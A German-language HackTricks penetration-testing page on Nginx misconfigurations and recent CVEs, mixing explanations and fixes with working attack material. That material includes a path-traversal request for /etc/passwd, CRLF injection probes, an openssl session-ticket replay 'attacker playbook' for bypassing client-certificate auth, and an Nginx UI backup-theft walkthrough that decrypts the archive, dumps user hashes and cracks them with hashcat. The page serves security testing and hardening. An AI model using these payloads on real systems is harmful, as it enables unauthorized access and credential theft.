Nginx

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks

Fehlender root location

Bei der Konfiguration des Nginx-Servers spielt die root directive eine entscheidende Rolle, indem sie das Basisverzeichnis festlegt, aus dem Dateien ausgeliefert werden. Betrachte das folgende Beispiel:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

In dieser Konfiguration ist /etc/nginx als root directory festgelegt. Dieses Setup ermöglicht den Zugriff auf Dateien innerhalb des angegebenen root directory, wie z. B. /hello.txt. Es ist jedoch wichtig zu beachten, dass nur eine bestimmte location (/hello.txt) definiert ist. Es gibt keine Konfiguration für die root location (location / {...}). Diese Auslassung bedeutet, dass die root directive global gilt und es Anfragen an den root path / ermöglicht, auf Dateien unter /etc/nginx zuzugreifen.

Aus dieser Konfiguration ergibt sich ein kritischer security-Aspekt. Eine einfache GET-Anfrage wie GET /nginx.conf könnte sensible Informationen offenlegen, indem die Nginx-Konfigurationsdatei unter /etc/nginx/nginx.conf ausgeliefert wird. Das root auf ein weniger sensibles Verzeichnis wie /etc zu setzen, könnte dieses Risiko mindern, dennoch könnte dadurch weiterhin unbeabsichtigter Zugriff auf andere kritische Dateien möglich sein, einschließlich anderer Konfigurationsdateien, access logs und sogar verschlüsselter credentials, die für HTTP basic authentication verwendet werden.

Alias LFI Misconfiguration

In den Konfigurationsdateien von Nginx ist eine genaue Prüfung der “location”-Direktiven erforderlich. Eine Schwachstelle, bekannt als Local File Inclusion (LFI), kann unbeabsichtigt durch eine Konfiguration eingeführt werden, die dem Folgenden ähnelt:

location /imgs {
alias /path/images/;
}

Diese Konfiguration ist anfällig für LFI-Angriffe, da der Server Anfragen wie /imgs../flag.txt als Versuch interpretiert, auf Dateien außerhalb des vorgesehenen Verzeichnisses zuzugreifen, und sie effektiv zu /path/images/../flag.txt auflöst. Diese Schwachstelle ermöglicht es Angreifern, Dateien aus dem Dateisystem des Servers abzurufen, die über das Web nicht zugänglich sein sollten.

Um diese Schwachstelle zu beheben, sollte die Konfiguration folgendermaßen angepasst werden:

location /imgs/ {
alias /path/images/;
}

More info: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Accunetix tests:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

Unsichere Pfadbeschränkung

Siehe die folgende Seite, um zu lernen, wie man Direktiven wie die folgenden umgeht:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

Unsichere Variablenverwendung / HTTP Request Splitting

Caution

Verwundbare Variablen $uri und $document_uri und dies kann behoben werden, indem man sie durch $request_uri ersetzt.

Ein regex kann ebenfalls verwundbar sein, wie:

location ~ /docs/([^/])? { … $1 … } - Vulnerable

location ~ /docs/([^/\s])? { … $1 … } - Not vulnerable (checking spaces)

location ~ /docs/(.*)? { … $1 … } - Not vulnerable

Eine Verwundbarkeit in der Nginx-Konfiguration wird durch das folgende Beispiel demonstriert:

location / {
return 302 https://example.com$uri;
}

Die Zeichen \r (Carriage Return) und \n (Line Feed) kennzeichnen neue Zeilen in HTTP-Anfragen, und ihre URL-encodierten Formen werden als %0d%0a dargestellt. Das Einfügen dieser Zeichen in eine Anfrage (z. B. http://localhost/%0d%0aDetectify:%20clrf) an einen falsch konfigurierten Server führt dazu, dass der Server einen neuen Header mit dem Namen Detectify ausgibt. Das geschieht, weil die $uri-Variable die URL-encodierten neuen Zeilenzeichen decodiert, was zu einem unerwarteten Header in der Response führt:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

Erfahre mehr über die Risiken von CRLF injection und response splitting unter https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.

Außerdem wird diese Technik in diesem Vortrag erklärt mit einigen verwundbaren Beispielen und Erkennungsmechanismen. Um diese Fehlkonfiguration aus einer Blackbox-Perspektive zu erkennen, könntest du zum Beispiel diese Requests senden:

  • https://example.com/%20X - Jeder HTTP-Code
  • https://example.com/%20H - 400 Bad Request

Falls verwundbar, gibt der erste Request etwas zurück, weil “X” ein beliebiger HTTP-Methodenname ist, und der zweite liefert einen Fehler, da H keine gültige Methode ist. Der Server würde also etwas wie GET / H HTTP/1.1 erhalten, und das löst den Fehler aus.

Ein weiteres Erkennungsbeispiel wäre:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Jeder HTTP-Code
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

Einige in dem Vortrag vorgestellte verwundbare Konfigurationen waren:

  • Beachte, wie $uri im finalen URL unverändert gesetzt wird
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • Beachte, wie erneut $uri in der URL ist (diesmal innerhalb eines Parameters)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • Jetzt in AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

Any variable

Es wurde festgestellt, dass vom Benutzer bereitgestellte Daten unter bestimmten Umständen als Nginx-Variable behandelt werden könnten. Die Ursache dieses Verhaltens bleibt etwas schwer fassbar, ist jedoch weder selten noch leicht zu verifizieren. Diese Anomalie wurde in einem Sicherheitsbericht auf HackerOne hervorgehoben, der hier eingesehen werden kann. Weitere Untersuchungen der Fehlermeldung führten zur Identifizierung ihres Auftretens innerhalb des SSI filter module von Nginx’s codebase, wodurch Server Side Includes (SSI) als Ursache festgestellt wurden.

Um diese Fehlkonfiguration zu erkennen, kann der folgende Befehl ausgeführt werden, der das Setzen eines referer headers beinhaltet, um auf variable printing zu testen:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

Scans nach dieser Fehlkonfiguration über verschiedene Systeme hinweg zeigten mehrere Fälle, in denen Nginx-Variablen von einem Benutzer ausgegeben werden konnten. Allerdings deutet ein Rückgang der Anzahl verwundbarer Instanzen darauf hin, dass die Bemühungen, dieses Problem zu patchen, teilweise erfolgreich waren.

Using try_files with $URI$ARGS variables

Die folgende Nginx-Fehlkonfiguration kann zu einer LFI-Schwachstelle führen:

location / {
try_files $uri$args $uri$args/ /index.html;
}

In unserer Konfiguration haben wir die Direktive try_files, die verwendet wird, um in der angegebenen Reihenfolge zu prüfen, ob Dateien vorhanden sind. Nginx wird die erste Datei ausliefern, die es findet. Die grundlegende Syntax der try_files-Direktive ist wie folgt:

try_files file1 file2 ... fileN fallback;

Nginx wird das Vorhandensein jeder Datei in der angegebenen Reihenfolge prüfen. Wenn eine Datei existiert, wird sie sofort ausgeliefert. Wenn keine der angegebenen Dateien existiert, wird die Anfrage an die Fallback-Option weitergeleitet, die eine andere URI oder eine bestimmte Fehlerseite sein kann.

Wenn jedoch in dieser Direktive $uri$args-Variablen verwendet werden, wird Nginx versuchen, nach einer Datei zu suchen, die mit der Request-URI zusammen mit beliebigen Query-String-Argumenten übereinstimmt. Daher können wir diese Konfiguration ausnutzen:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

Mit folgendem Payload:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

Mit unserem Payload werden wir das root directory (in der Nginx-Konfiguration definiert) verlassen und die Datei /etc/passwd laden. In debug logs können wir beobachten, wie Nginx die Dateien ausprobiert:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

PoC gegen Nginx mit der oben genannten Konfiguration: Example burp request

Rohes Backend-Response-Reading

Nginx bietet über proxy_pass eine Funktion zur Abfangen von Fehlern und HTTP-Headern, die vom Backend erzeugt werden, mit dem Ziel, interne Fehlermeldungen und Header zu verbergen. Dies wird erreicht, indem Nginx benutzerdefinierte Error Pages als Antwort auf Backend-Fehler ausliefert. Allerdings entstehen Probleme, wenn Nginx auf eine ungültige HTTP-Anfrage stößt. Eine solche Anfrage wird unverändert an das Backend weitergeleitet, und die rohe Antwort des Backends wird dann direkt an den Client gesendet, ohne dass Nginx eingreift.

Betrachte ein Beispiel-Szenario mit einer uWSGI-Application:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

Um dies zu verwalten, werden in der Nginx-Konfiguration spezielle Direktiven verwendet:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: Diese Directive ermöglicht es Nginx, eine benutzerdefinierte Antwort für Backend-Antworten mit einem Statuscode größer als 300 auszuliefern. Sie stellt sicher, dass für unsere Beispiel-uWSGI-Anwendung eine 500 Error-Antwort abgefangen und von Nginx behandelt wird.
  • proxy_hide_header: Wie der Name schon sagt, blendet diese Directive bestimmte HTTP-Header vor dem Client aus und verbessert so Privacy und Security.

Wenn eine gültige GET-Anfrage gestellt wird, verarbeitet Nginx sie normal und gibt eine Standard-Fehlerantwort zurück, ohne geheime Header offenzulegen. Eine ungültige HTTP-Anfrage umgeht jedoch diesen Mechanismus, was zur Offenlegung roher Backend-Antworten führt, einschließlich geheimer Header und Fehlermeldungen.

merge_slashes set to off

Standardmäßig ist Nginx’ merge_slashes directive auf on gesetzt, wodurch mehrere Slash-Zeichen in einer URL zu einem einzelnen Slash zusammengefasst werden. Diese Funktion vereinfacht zwar die URL-Verarbeitung, kann jedoch unbeabsichtigt Schwachstellen in Anwendungen hinter Nginx verbergen, insbesondere solche, die anfällig für local file inclusion (LFI)-Angriffe sind. Security-Experten Danny Robinson und Rotem Bar haben auf die potenziellen Risiken dieses Standardverhaltens hingewiesen, insbesondere wenn Nginx als reverse-proxy fungiert.

Um solche Risiken zu mindern, wird empfohlen, die merge_slashes directive für Anwendungen, die für diese Schwachstellen anfällig sind, auszuschalten. Dadurch stellt man sicher, dass Nginx Anfragen an die Anwendung weiterleitet, ohne die URL-Struktur zu verändern, sodass zugrunde liegende Security-Probleme nicht verborgen werden.

Für weitere Informationen siehe Danny Robinson and Rotem Bar.

Maclicious Response Headers

Wie in this writeup gezeigt, gibt es bestimmte Header, die, wenn sie in der Response des Webservers vorhanden sind, das Verhalten des Nginx-Proxy ändern. Du kannst sie in the docs überprüfen:

  • X-Accel-Redirect: Weist Nginx an, eine Anfrage intern auf einen angegebenen Ort umzuleiten.
  • X-Accel-Buffering: Steuert, ob Nginx die Response puffern soll oder nicht.
  • X-Accel-Charset: Setzt den Zeichensatz für die Response bei Verwendung von X-Accel-Redirect.
  • X-Accel-Expires: Setzt die Ablaufzeit für die Response bei Verwendung von X-Accel-Redirect.
  • X-Accel-Limit-Rate: Begrenzt die Übertragungsrate für Responses bei Verwendung von X-Accel-Redirect.

Zum Beispiel führt der Header X-Accel-Redirect zu einem internen redirect in nginx. Wenn also eine nginx-Konfiguration etwas wie root / enthält und der Webserver eine Response mit X-Accel-Redirect: .env zurückgibt, sendet nginx den Inhalt von /.env (Path Traversal).

Default Value in Map Directive

In der Nginx configuration spielt die map directive oft eine Rolle bei der authorization control. Ein häufiger Fehler ist, keinen default-Wert anzugeben, was zu unautorisiertem Zugriff führen kann. Zum Beispiel:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}

server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

Ohne ein default kann ein malicious user die Sicherheit umgehen, indem er eine undefined URI innerhalb von /map-poc aufruft. Das Nginx-Handbuch empfiehlt, einen default value festzulegen, um solche Probleme zu vermeiden.

DNS Spoofing Vulnerability

DNS spoofing gegen Nginx ist unter bestimmten Bedingungen möglich. Wenn ein Angreifer den von Nginx verwendeten DNS server kennt und dessen DNS-Anfragen abfangen kann, kann er DNS-Einträge spoofen. Diese Methode ist jedoch wirkungslos, wenn Nginx so konfiguriert ist, dass es localhost (127.0.0.1) für die DNS-Auflösung verwendet. Nginx erlaubt die Angabe eines DNS servers wie folgt:

resolver 8.8.8.8;

proxy_pass und internal Directives

Die proxy_pass-Directive wird verwendet, um Requests an andere Server weiterzuleiten, entweder intern oder extern. Die internal-Directive stellt sicher, dass bestimmte Locations nur innerhalb von Nginx erreichbar sind. Obwohl diese Directives für sich genommen keine Vulnerabilities sind, erfordert ihre Konfiguration eine sorgfältige Prüfung, um Security-Lücken zu verhindern.

proxy_set_header Upgrade & Connection

Wenn der nginx-Server so konfiguriert ist, dass er die Upgrade- und Connection-Header weitergibt, könnte ein h2c Smuggling attack durchgeführt werden, um auf geschützte/interne Endpunkte zuzugreifen.

Caution

Diese Vulnerability würde es einem Angreifer ermöglichen, eine direkte Verbindung mit dem proxy_pass-Endpunkt herzustellen (http://backend:9999 in diesem Fall), dessen Inhalt von nginx nicht überprüft wird.

Beispiel für eine verwundbare Konfiguration, um /flag von hier zu stehlen:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

Beachte, dass selbst wenn proxy_pass auf einen bestimmten path wie http://backend:9999/socket.io zeigt, die Verbindung mit http://backend:9999 hergestellt wird, sodass du jeden anderen path innerhalb dieses internen Endpunkts erreichen kannst. Es spielt also keine Rolle, ob in der URL von proxy_pass ein path angegeben ist.

HTTP/3 QUIC module remote DoS & leak (2024)

Im Jahr 2024 veröffentlichte Nginx CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 und CVE-2024-35200 und zeigte damit, dass eine einzelne feindliche QUIC-Sitzung Worker-Prozesse zum Absturz bringen oder Speicher leak kann, wenn das experimentelle ngx_http_v3_module kompiliert ist und ein listen ... quic Socket exponiert ist. Betroffene Builds sind 1.25.0–1.25.5 und 1.26.0, während 1.27.0/1.26.1 die Fixes enthalten; die Speicherpreisgabe (CVE-2024-34161) erfordert zusätzlich MTUs größer als 4096 Bytes, um sensible Daten sichtbar zu machen (Details im unten referenzierten nginx Advisory von 2024).

Recon & exploitation hints

  • HTTP/3 ist opt-in, also prüfe auf Alt-Svc: h3=":443"-Antworten oder brute-force UDP/443 QUIC-Handshakes; sobald bestätigt, fuzz den Handshake und STREAM Frames mit benutzerdefinierten quiche-client/nghttp3 Payloads, um Worker-Crashes auszulösen und Log-Leakage zu erzwingen.
  • Fingerprint Target-Support schnell mit:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

TLS session resumption bypass of client cert auth (CVE-2025-23419)

Ein Advisory vom Februar 2025 legte offen, dass nginx 1.11.4–1.27.3, gebaut mit OpenSSL, das Wiederverwenden einer TLS 1.3 session von einem name-based virtual host in einem anderen erlaubt. Dadurch kann ein client, der einen Host ohne certificate ausgehandelt hat, das ticket/PSK erneut abspielen, um in einen vhost zu springen, der mit ssl_verify_client on; geschützt ist, und mTLS vollständig umgehen. Der Bug wird ausgelöst, sobald mehrere virtual hosts denselben TLS 1.3 session cache und dieselben tickets teilen (siehe das unten referenzierte 2025 nginx advisory).

Attacker playbook

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

Wenn das Ziel verwundbar ist, schließt der zweite Handshake ohne Vorlage eines Client-Zertifikats ab und gibt geschützte Pfade preis.

Was prüfen

  • Gemischte server_name-Blöcke, die ssl_session_cache shared:SSL plus ssl_session_tickets on; gemeinsam nutzen.
  • Admin/API-Blöcke, die mTLS erwarten, aber gemeinsame Session-Cache-/Ticket-Einstellungen von öffentlichen Hosts erben.
  • Automation, die TLS 1.3 Session Resumption global aktiviert (z. B. Ansible roles), ohne vhost-Isolation zu berücksichtigen.

HTTP/2 Rapid Reset Resilience (Verhalten von CVE-2023-44487)

Der HTTP/2 Rapid Reset-Angriff (CVE-2023-44487) betrifft nginx weiterhin, wenn Operatoren keepalive_requests oder http2_max_concurrent_streams über die Defaults hinaus erhöhen: Ein Angreifer öffnet eine HTTP/2-Verbindung, flutet sie mit Tausenden von Streams und sendet dann sofort RST_STREAM-Frames, sodass die Parallelitätsgrenze nie erreicht wird, während die CPU weiter mit Tear-down-Logik beschäftigt ist. Die nginx-Defaults (128 gleichzeitige Streams, 1000 keepalive requests) halten die Auswirkungen klein; das deutliche Anheben dieser Limits macht es trivial, Worker selbst von einem einzelnen Client aus zu überlasten (siehe den unten referenzierten F5-Write-up).

Detection tips

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

Hosts, die ungewöhnlich hohe Werte für diese Direktiven preisgeben, sind ideale Ziele: Ein HTTP/2-Client kann in einer Schleife Stream-Erstellung und sofortige RST_STREAM-Frames ausführen, um die CPU dauerhaft auszulasten, ohne das Concurrency-Limit zu überschreiten.

Nginx UI pre-auth backup export + crypto material leakage

Nginx UI ist ein separates Admin-Panel für nginx, nicht der nginx-Daemon selbst. In Nginx UI < 2.3.3 kann der backup export-Endpunkt ohne Authentication erreichbar sein, und die Antwort kann außerdem den AES-256-CBC-Schlüssel und IV leaken, die zum Entschlüsseln des Backups über den X-Backup-Security-Header benötigt werden. Dadurch wird ein „encrypted backup download“ zu einer sofortigen credential / token / private-key disclosure.

Schnelle Version-Fingerprinting aus SPA-Assets

Wenn die Login-Seite eine JS-lastige SPA ist, hole das Haupt-Bundle von / und suche nach einem dedizierten Version-Chunk:

curl -s http://admin.example/ | grep -oP 'assets/index-[^"]+\.js'
curl -s http://admin.example/assets/index-<hash>.js | grep -oP 'version[-\\w]*\\.js'
curl -s http://admin.example/assets/version-<hash>.js

Bei verwundbaren Nginx UI-Builds gibt dies oft ein Literal wie const t="2.3.2" zurück, was ausreicht, um den verwundbaren Bereich vor der Authentifizierung abzugleichen.

Prüfe exponierte API-Endpunkte und ziehe das Backup

Selbst wenn die meisten /api/*-Routen 403 zurückgeben, teste Backup-ähnliche Endpunkte direkt:

curl -s http://admin.example/api/install
curl -s -D headers.txt -o backup.zip http://admin.example/api/backup
grep -i '^X-Backup-Security:' headers.txt
unzip -l backup.zip

Falls verwundbar, enthält X-Backup-Security base64(key):base64(iv). Dekodiere beide Werte und bestätige die erwarteten Längen (32-Byte-Key, 16-Byte-IV):

KEY_B64='<base64-key>'; IV_B64='<base64-iv>'
KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 0)
IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 0)
unzip backup.zip -d backup
openssl enc -aes-256-cbc -d -in backup/hash_info.txt -out hash_info.txt -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx.zip -out nginx_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx-ui.zip -out nginx-ui_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"

Nach der Entschlüsselung die wiederhergestellten nginx-Konfigurationen und die Nginx-UI-Anwendungsdaten prüfen. Ein häufiger Post-Exploitation-Pfad ist:

  • Reverse-Proxy- und vhost-Details aus nginx_dec.zip extrahieren
  • nginx-ui_dec.zip auf app.ini, database.db, API-Tokens oder Zertifikatsmaterial prüfen
  • Die SQLite-users-Tabelle dumpen und die wiederhergestellten Passwort-Hashes offline cracken
unzip nginx-ui_dec.zip -d nginx-ui
sqlite3 nginx-ui/database.db 'select name,password from users;'
hashcat -m 3200 hashes.txt <wordlist>

Dieses Muster lohnt sich auch bei anderen Admin-Produkten zu testen: ein unauthentifizierter „encrypted“ Export ist immer noch eine plaintext disclosure, wenn die Antwort das Entschlüsselungsmaterial preisgibt oder es zusammen mit dem Archiv speichert.

Selbst ausprobieren

Detectify hat ein GitHub-Repository erstellt, in dem du Docker verwenden kannst, um deinen eigenen verwundbaren Nginx-Testserver mit einigen der in diesem Artikel besprochenen Fehlkonfigurationen einzurichten und sie selbst zu finden!

https://github.com/detectify/vulnerable-nginx

Static Analyzer tools

gixy-ng & Gixy-Next & GIXY

  • Gixy-Next (ein aktualisierter Fork von GIXY) ist ein Tool zur Analyse von Nginx-Konfigurationen mit dem Ziel, vulnerabilities, insecure directives und riskante Fehlkonfigurationen zu finden. Es findet auch Fehlkonfigurationen, die die Performance beeinträchtigen, und erkennt verpasste Hardening-Möglichkeiten, was eine automatisierte flaw detection ermöglicht.
  • gixy-ng (der aktiv gepflegte Fork von GIXY) ist ein Tool zur Analyse von Nginx-Konfigurationen mit dem Ziel, vulnerabilities, insecure directives und riskante Fehlkonfigurationen zu finden. Es findet auch Fehlkonfigurationen, die die Performance beeinträchtigen, und erkennt verpasste Hardening-Möglichkeiten, was eine automatisierte flaw detection ermöglicht.

Nginxpwner

Nginxpwner ist ein einfaches Tool, um nach gängigen Nginx-Fehlkonfigurationen und vulnerabilities zu suchen.

References

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks